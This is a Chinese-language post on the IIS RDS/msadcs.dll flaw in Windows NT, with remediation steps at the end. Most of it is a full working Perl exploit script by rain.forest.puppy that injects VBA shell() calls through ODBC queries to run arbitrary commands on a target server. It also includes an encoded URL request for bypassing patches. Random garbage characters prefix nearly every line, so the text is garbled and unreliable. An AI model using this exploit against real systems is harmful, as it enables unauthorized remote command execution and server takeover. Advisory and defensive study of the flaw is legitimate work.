IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
"9kEqz4a ~NU~jmT2 涉及程序：
q_ cqjly< Microsoft NT server
PJO;[:
.I 0S/&^ 描述：
mUcHsCszH 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
L?Wl#wP\;* .N/4+[2p( 详细：
/~g M,* 如果你没有时间读详细内容的话，就删除:
R;I}#b cJ c:\Program Files\Common Files\System\Msadc\msadcs.dll
6<rc ]T'| 有关的安全问题就没有了。
!l.Rv_o<O sE>'~ +1_O 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
z_A%>E4 WYEvW<Hv 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
3i35F.=X, 关于利用ODBC远程漏洞的描述，请参看:
Vk0O^o cf0em! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm O!Mm~@Mo A Oo rH 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
r8^1JJ~\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp )TRDM[u E%H,Hk^ 这里不再论述。
e<iTU?eJM q .Z0Q 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
"=4=Q\0PT w $61+KH K /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
0v Qkm< 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
"]zq<LmX @OwU[\6fc} R`TM@aaS: #将下面这段保存为txt文件，然后: "perl -x 文件名"
_@?]!J[ w:z_EV!& #!perl
V!]e#QH; #
-J? d f # MSADC/RDS 'usage' (aka exploit) script
f4@Dn
>BJ #
z81I2?v[Jr # by rain.forest.puppy
BtU,1`El5 #
- VR u^l# # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
aL#b8dCy' # beta test and find errors!
9&rn3hmP b-~` A;pr use Socket; use Getopt::Std;
Szwa2IdI. getopts("e:vd:h:XR", \%args);
mUnn k`v , aawtdt/ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Ix 1ec^?f pC#Z]_k if (!defined $args{h} && !defined $args{R}) {
LNg[fF^: print qq~
3b%y+?-{\u Usage: msadc.pl -h <host> { -d <delay> -X -v }
W=F?+Kg L -h <host> = host you want to scan (ip or domain)
I&1Mh4yu -d <seconds> = delay between calls, default 1 second
]*):2%f -X = dump Index Server path table, if available
(_<ruwV]` -v = verbose
u@==Ut -e = external dictionary file for step 5
'e{e>>03 \ZCc~muR Or a -R will resume a command session
)o9CFhFB ap;*qiNFQ ~; exit;}
i$%;z~#wW (Ca\$p7/ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
joM 98H@ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
K;[V`)d' if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
K")-P9I6-f if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Jc{zi^)(EN $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Yng9_w9Y if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
b3Y9 L$7 v;R3 if (!defined $args{R}){ $ret = &has_msadc;
sjShm die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
KwpNS (]I 7sHtJr print "Please type the NT commandline you want to run (cmd /c assumed):\n"
&y Vii^ . "cmd /c ";
V4V TP]'n $in=<STDIN>; chomp $in;
"8{u_+_B* $command="cmd /c " . $in ;
I&>R]DV iW)FjDTP if (defined $args{R}) {&load; exit;}
O aU$ [Z'8 ?*}V>h 8m) print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
VZ_ 4B *D &try_btcustmr;
J5|Dduv
H+*o @0C\~ print "\nStep 2: Trying to make our own DSN...";
I:mJWe &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]Iy C /xf %Rp4} print "\nStep 3: Trying known DSNs...";
_NqEhf:8 &known_dsn;
(sr_& 7A =( Gv_ print "\nStep 4: Trying known .mdbs...";
kFuaLEJi &known_mdb;
{#Gr=iv~N `[o^w(l:5@ if (defined $args{e}){
!^`ZHJ-3>; print "\nStep 5: Trying dictionary of DSN names...";
/*D]4AK &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
RQ/X{<lQ) !f7}5/YC7v print "Sorry Charley...maybe next time?\n";
ih1SN, / exit;
|q5\1}@: ??1V__w ##############################################################################
fyQAQZT =>ph \ sub sendraw { # ripped and modded from whisker
!7 *X{D v sleep($delay); # it's a DoS on the server! At least on mine...
4fpz;2% my ($pstr)=@_;
#( X4M{I socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
z,DEBRT+ die("Socket problems\n");
. 1?AU 6\ if(connect(S,pack "SnA4x8",2,80,$target)){
WOgbz&S?J select(S); $|=1;
j##IJm print $pstr; my @in=<S>;
GH YgSS select(STDOUT); close(S);
hiP^*5h return @in;
ChmPO|2F } else { die("Can't connect...\n"); }}
vK2L"e `n5|4yaG~ ##############################################################################
a*%>H( x Ce`{M&NSWX sub make_header { # make the HTTP request
dc%+ f my $msadc=<<EOT
Is?0q@ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
T4\, b User-Agent: ACTIVEDATA
trgj]|?M Host: $ip
DSET!F;PG Content-Length: $clen
LD^V="d Connection: Keep-Alive
% YU(,83(+ EJZl'CR ADCClientVersion:01.06
oD!72W_: Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
N,Y<mX *K m%Vl --!ADM!ROX!YOUR!WORLD!
6 D~b9 e Content-Type: application/x-varg
4[+n;OI Content-Length: $reqlen
rxm!'.+ f4X?\e GT EOT
})T_D\2M ; $msadc=~s/\n/\r\n/g;
xmq~:fcU= return $msadc;}
^*}L9Ot~ M^+~r,D1u ##############################################################################
=
#ocp roL~ r`f` sub make_req { # make the RDS request
H#wn3O my ($switch, $p1, $p2)=@_;
Ld+}T"Z&M> my $req=""; my $t1, $t2, $query, $dsn;
p BmacFP Mb?6c y[ if ($switch==1){ # this is the btcustmr.mdb query
\ zgRz O'N $query="Select * from Customers where City=" . make_shell();
gpE5ua& $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
o t-!_w< $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
$ IB@|n "R):B~8|H{ elsif ($switch==2){ # this is general make table query
xE4T\%-K $query="create table AZZ (B int, C varchar(10))";
g-')|0py $dsn="$p1";}
{ -<h5_h@ <7)Vj*VxC elsif ($switch==3){ # this is general exploit table query
[ &R-YQ@ $query="select * from AZZ where C=" . make_shell();
rj<%_d'Z` $dsn="$p1";}
0)9GkHVu( ~v+&
?dg elsif ($switch==4){ # attempt to hork file info from index server
b6);bX>e $query="select path from scope()";
; :"~utL7 $dsn="Provider=MSIDXS;";}
,:;nq> ; u4+)lvt elsif ($switch==5){ # bad query
c67O/ B( $query="select";
Ak>RLD25_ $dsn="$p1";}
=X-$k k 0~n= | 3*P $t1= make_unicode($query);
^HC!
my $t2= make_unicode($dsn);
iFga==rw $req = "\x02\x00\x03\x00";
}5DyNfZ]+0 $req.= "\x08\x00" . pack ("S1", length($t1));
^$rt|] $req.= "\x00\x00" . $t1 ;
V^?+|8_( $req.= "\x08\x00" . pack ("S1", length($t2));
183'1Z$KA $req.= "\x00\x00" . $t2 ;
p &Xb Xg- $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
)"j_ NlO return $req;}
TKj9s '/ % J+'7'g ##############################################################################
^R K[-tVV "$
u"Py sub make_shell { # this makes the shell() statement
nQ /(*d return "'|shell(\"$command\")|'";}
8!:4m"Y nLo:\I( ##############################################################################
B;?a. 81~ $,'r}
% sub make_unicode { # quick little function to convert to unicode
7xWX:2l*? my ($in)=@_; my $out;
#4~Ivj for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
HM ^ rk return $out;}
FC vR H(n_g
QAX ##############################################################################
7J0 PO}N s
g6 sub rdo_success { # checks for RDO return success (this is kludge)
S{ fNeK my (@in) = @_; my $base=content_start(@in);
c3K(mM: if($in[$base]=~/multipart\/mixed/){
E/5w
H/ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Kd^
._ return 0;}
9J l9\y9 G0a UZCw ##############################################################################
@bD,^3 U dR $@vDm sub make_dsn { # this makes a DSN for us
{Ivu"<`L3 my @drives=("c","d","e","f");
~EX/IIa { print "\nMaking DSN: ";
B4U+q|OD# foreach $drive (@drives) {
!aIIjWz] print "$drive: ";
2BRY2EF my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
V{c
n1Af "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
eQzSWn[ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
JX>_ imo
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
_gw~A {O return 0 if $2 eq "404"; # not found/doesn't exist
[&)9|EV if($2 eq "200") {
bYow EzieF foreach $line (@results) {
RHE< QG return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
=Z%&jul } return 0;}
K <\TF+ >f}rM20Vm ##############################################################################
c AIS?]1 W 4 )^8/ sub verify_exists {
O:k@'& my ($page)=@_;
Fvi<5v my @results=sendraw("GET $page HTTP/1.0\n\n");
:c<C;. return $results[0];}
mezP"N=L~ q j=12; ##############################################################################
C2DNyMu H-0d eJ[> sub try_btcustmr {
]TD]
my @drives=("c","d","e","f");
!k%Vw1 8 my @dirs=("winnt","winnt35","winnt351","win","windows");
hM+nA::w s )_sLt8? foreach $dir (@dirs) {
<fN?= u+ print "$dir -> "; # fun status so you can see progress
u3"F7
lJ foreach $drive (@drives) {
HLTz|P0JZ print "$drive: "; # ditto
2Ni2Gkf@
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
|V:k8Ab $reqlenlen=length( "$reqlen" );
h*d&2>"0m? $clen= 206 + $reqlenlen + $reqlen;
}2JSa8
"&v?> my @results=sendraw(make_header() . make_req(1,$drive,$dir));
\XmtSfFC if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
d4A}BTs1 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
rd. "mG. Q:@Y/4= ##############################################################################
va#~ \%` DF9Br
D0{ sub odbc_error {
r ZGA9duy my (@in)=@_; my $base;
=cqaA^HQL my $base = content_start(@in);
vhKeW(z if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
D :%$a]_f $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=d(
6
) $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Q_M2!qj $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*>Om3[D return $in[$base+4].$in[$base+5].$in[$base+6];}
>TK`s@jdSV print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
=:9n +7~$
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
;jI\MZ~l\ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
G }] ZZ 2t#9ih"9 ##############################################################################
kA\;h|Y3 qH"0?<$9 sub verbose {
N t g#-_] my ($in)=@_;
24|:VxO return if !$verbose;
kD"dZ Qx print STDOUT "\n$in\n";}
:i?Z1x1` U3A >#EV ##############################################################################
+.[#C5 gy~M]u{ sub save {
5M*q{kX) my ($p1, $p2, $p3, $p4)=@_;
ZhM-F0;` open(OUT, ">rds.save") || print "Problem saving parameters...\n";
y\)bxmC print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
9l OUE close OUT;}
-/7[_, Tcr&{S &o ##############################################################################
/`2VJw %xWmzdn sub load {
<6- (a;T!7 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
0*q~(.>a open(IN,"<rds.save") || die("Couldn't open rds.save\n");
iY.~N#Q @p=<IN>; close(IN);
VJuPC $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
T 73saeN $target= inet_aton($ip) || die("inet_aton problems");
xI_WkoI print "Resuming to $ip ...";
WV?i YX! $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
c( gUH if($p[1]==1) {
"ve?7&G7U $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
mQ' ]0D S $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
rPr#V1}1a my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
rA{h/T" if (rdo_success(@results)){print "Success!\n";}
!A!zG)Ue< else { print "failed\n"; verbose(odbc_error(@results));}}
uA \A4 elsif ($p[1]==3){
O(WFj mHx if(run_query("$p[3]")){
_Bc B@a print "Success!\n";} else { print "failed\n"; }}
OJkPl Dym elsif ($p[1]==4){
^!Bpev if(run_query($drvst . "$p[3]")){
,gD30Pylz print "Success!\n"; } else { print "failed\n"; }}
(} ] 74Lc exit;}
"ZT=[& 2 1NJ*EzJ~? ##############################################################################
~x>IN1Vci 0fNWI sub create_table {
KLA nW# my ($in)=@_;
8v(Xr}q,r $reqlen=length( make_req(2,$in,"") ) - 28;
w&C SE $reqlenlen=length( "$reqlen" );
=fG(K!AQ $clen= 206 + $reqlenlen + $reqlen;
QZQ@C# PR; my @results=sendraw(make_header() . make_req(2,$in,""));
;|9VPv/ return 1 if rdo_success(@results);
o)1wF
X my $temp= odbc_error(@results); verbose($temp);
q _HD`tW return 1 if $temp=~/Table 'AZZ' already exists/;
9n9/[?S return 0;}
<*4=sX@ {jlm]< :&Z ##############################################################################
"D@m/l >o'D/'>ku sub known_dsn {
5Ko "- # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
9DPf2`*$ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
ls #O0 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
'[Nu; (>a "banner", "banners", "ads", "ADCDemo", "ADCTest");
Uf_w
o a ,W5T8 foreach $dSn (@dsns) {
mb\vHu*53 print ".";
* Q51'?y next if (!is_access("DSN=$dSn"));
Z(U&0GH` if(create_table("DSN=$dSn")){
y "7TO# print "$dSn successful\n";
NW!e@;E+i if(run_query("DSN=$dSn")){
Km\M /j| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
L~vNW 6#W print "Something's borked. Use verbose next time\n";}}} print "\n";}
z[OW%(vrm 2evM|Dj ##############################################################################
^{Syg;F= Nnv&~ D> sub is_access {
,0#OA* 0B my ($in)=@_;
`.[hOQ7 $reqlen=length( make_req(5,$in,"") ) - 28;
GlD@Ud>o) $reqlenlen=length( "$reqlen" );
Q9W*)gBv n $clen= 206 + $reqlenlen + $reqlen;
UP, 0`fh(y my @results=sendraw(make_header() . make_req(5,$in,""));
T_YN^za(q my $temp= odbc_error(@results);
azOp53zR verbose($temp); return 1 if ($temp=~/Microsoft Access/);
wiwJD}3h' return 0;}
nC>#@*+jK aY3kww` ##############################################################################
G-,PsXSwe :5@7z9 > sub run_query {
p'xj:bB my ($in)=@_;
V FG)|Z $reqlen=length( make_req(3,$in,"") ) - 28;
`{tykYwCLc $reqlenlen=length( "$reqlen" );
1
4(?mM3
$clen= 206 + $reqlenlen + $reqlen;
-Ca.:zX my @results=sendraw(make_header() . make_req(3,$in,""));
;5y!,OF6 return 1 if rdo_success(@results);
4b7}Sr=` my $temp= odbc_error(@results); verbose($temp);
S0p]:r ";x return 0;}
#9
} Oqm EHo"y.ODg ##############################################################################
M c@p~5!M QRt(?96
sub known_mdb {
I`5MAvP my @drives=("c","d","e","f","g");
5Vut4px my @dirs=("winnt","winnt35","winnt351","win","windows");
|wK)(s my $dir, $drive, $mdb;
cH2
nG: H my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
TR
]lP<m {9C(\i + # this is sparse, because I don't know of many
Az0Yt31 = my @sysmdbs=( "\\catroot\\icatalog.mdb",
C5XCy%h "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
a&Z|3+ZA "\\system32\\certmdb.mdb",
m=%W <8[V "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
94K ;=5h Z.YsxbH3 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
#Oe=G:+A "\\cfusion\\cfapps\\forums\\forums_.mdb",
ugMJ} IGq "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
C'zMOR6c "\\cfusion\\cfapps\\security\\realm_.mdb",
tx5@r; "\\cfusion\\cfapps\\security\\data\\realm.mdb",
-U; s, >\) "\\cfusion\\database\\cfexamples.mdb",
KZD&Ih(vC "\\cfusion\\database\\cfsnippets.mdb",
tK8\Ib J "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
E}" &? oY "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Xwx;m/ "\\cfusion\\brighttiger\\database\\cleam.mdb",
hi.{ "\\cfusion\\database\\smpolicy.mdb",
1 u&P,&T "\\cfusion\\database\cypress.mdb",
C ,fIwqOr3 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
M_*w)< "\\website\\cgi-win\\dbsample.mdb",
e@ F& /c "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
yChC&kX
Z+ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
7a@V2cr@ ); #these are just
0imz }Z] foreach $drive (@drives) {
u y`U1> foreach $dir (@dirs){
'# (lq 5
c foreach $mdb (@sysmdbs) {
?$r+#'asd( print ".";
*N Xwllrci if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
V(w[`^I>~ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
^P{'l ^CVX if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
hXM C!~Th print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Ea P#~x } else { print "Something's borked. Use verbose next time\n"; }}}}}
+S3'm s %81tVhg foreach $drive (@drives) {
`_<AZ{&& foreach $mdb (@mdbs) {
qTffh{q V print ".";
dB_\,%vAd if(create_table($drv . $drive . $dir . $mdb)){
]FFU,me2 print "\n" . $drive . $dir . $mdb . " successful\n";
/Ee0S8!Z!1 if(run_query($drv . $drive . $dir . $mdb)){
br'~SXl
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
RA\H?1;8C } else { print "Something's borked. Use verbose next time\n"; }}}}
e3(0L I }
n,AN&BZ ^//N-?Fx ##############################################################################
lg!1q8 A ;Zg: sub hork_idx {
JaIj 9KLNX print "\nAttempting to dump Index Server tables...\n";
%|-Rh^H[JK print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
ytAhhwN~ $reqlen=length( make_req(4,"","") ) - 28;
ngdVRJL $reqlenlen=length( "$reqlen" );
v $ pA Rt $clen= 206 + $reqlenlen + $reqlen;
2\s-4H|
q my @results=sendraw2(make_header() . make_req(4,"",""));
{J99F if (rdo_success(@results)){
z<AQ;b my $max=@results; my $c; my %d;
% yJs "% for($c=19; $c<$max; $c++){
4 Y-9W2s $results[$c]=~s/\x00//g;
9k83wACry $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
_$fxo D9 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
B}?/oZW 4 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
?G8 D6 $d{"$1$2"}="";}
(tVY
/(~# foreach $c (keys %d){ print "$c\n"; }
"CZ`hx1|^ } else {print "Index server doesn't seem to be installed.\n"; }}
Tm Q2;3% ,xR^8G 8 ##############################################################################
y X S/3_A{ _xmM~q[c7p sub dsn_dict {
}4b wLO open(IN, "<$args{e}") || die("Can't open external dictionary\n");
jMw ;`yh while(<IN>){
g@1MIm c'! $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
~u3I=b next if (!is_access("DSN=$dSn"));
*qq %)7 if(create_table("DSN=$dSn")){
n
P 69W print "$dSn successful\n";
?rv+ydR/q if(run_query("DSN=$dSn")){
^&cI+xZ2Y print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
K zM\ +yC print "Something's borked. Use verbose next time\n";}}}
%K%8
~B print "\n"; close(IN);}
xDVzHgbf
- 6 ##############################################################################
@A yC0} mFo6f\DHr` sub sendraw2 { # ripped and modded from whisker
F<^,j7@ sleep($delay); # it's a DoS on the server! At least on mine...
7p~@S4 my ($pstr)=@_;
dXdU4YJ X socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
sN ;U,{ die("Socket problems\n");
yJKezIL\z if(connect(S,pack "SnA4x8",2,80,$target)){
w[VWk print "Connected. Getting data";
b"f 4}b open(OUT,">raw.out"); my @in;
MKQa&Dvw select(S); $|=1; print $pstr;
}"3L>%Q5 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
HD`Gi0 close(OUT); select(STDOUT); close(S); return @in;
\l]jX:
9( } else { die("Can't connect...\n"); }}
=Qz 8"rt# f[dwu39k ##############################################################################
]Mtb~^joG t[^}/
S sub content_start { # this will take in the server headers
X @\! \ my (@in)=@_; my $c;
YjsaTdZ!& for ($c=1;$c<500;$c++) {
_@d.wfM if($in[$c] =~/^\x0d\x0a/){
!E$S&zVMQ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
55yP.@i9J else { return $c+1; }}}
^@tn+ '. return -1;} # it should never get here actually
5g/WQo\ D6v0n6w ##############################################################################
57HMWlg "b} ^ xy sub funky {
P~]BB.tog my (@in)=@_; my $error=odbc_error(@in);
!'PPj_Hp] if($error=~/ADO could not find the specified provider/){
O81})r *Y print "\nServer returned an ADO miscofiguration message\nAborting.\n";
w|RG exit;}
[#)$BXG~y if($error=~/A Handler is required/){
N"2@y aN print "\nServer has custom handler filters (they most likely are patched)\n";
8LkC/ exit;}
.11iu lQ if($error=~/specified Handler has denied Access/){
m_St"`6 . print "\nServer has custom handler filters (they most likely are patched)\n";
mX "z$ exit;}}
(6.0gB$aTu (s"_NU j6 ##############################################################################
E8?Q>%_ 0gt/JI($ sub has_msadc {
;((gmg7, my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
)6!SFj>.O my $base=content_start(@results);
OBj .-jL return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
snN1 return 0;}
P; A "`Il e[{LNM{/# ########################
C \ }m_`MR t y7a&>G Q}]Q0'X8 解决方案：
G\Sd!'?p 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
_c %~\LOk 2、移除web 目录: /msadc
